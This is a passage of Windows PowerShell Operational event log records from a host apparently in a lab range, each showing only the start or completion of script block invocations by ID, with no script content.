09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048432
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048431
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048430
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048429
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048428
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048427
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048426
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048425
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048424
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048423
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048422
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048421
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048420
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048419
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048418
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048417
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048416
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048415
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048414
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048413
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048412
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048411
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048410
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048409
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048408
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048407
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048406
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048405
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048404
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048403
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048402
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048401
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048400
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048399
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048398
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048397
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048396
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048395
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048394
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048393
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048392
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048391
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048390
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048389
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048388
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048387
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048386
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048385
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048384
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048383
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048382
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048381
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048380
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
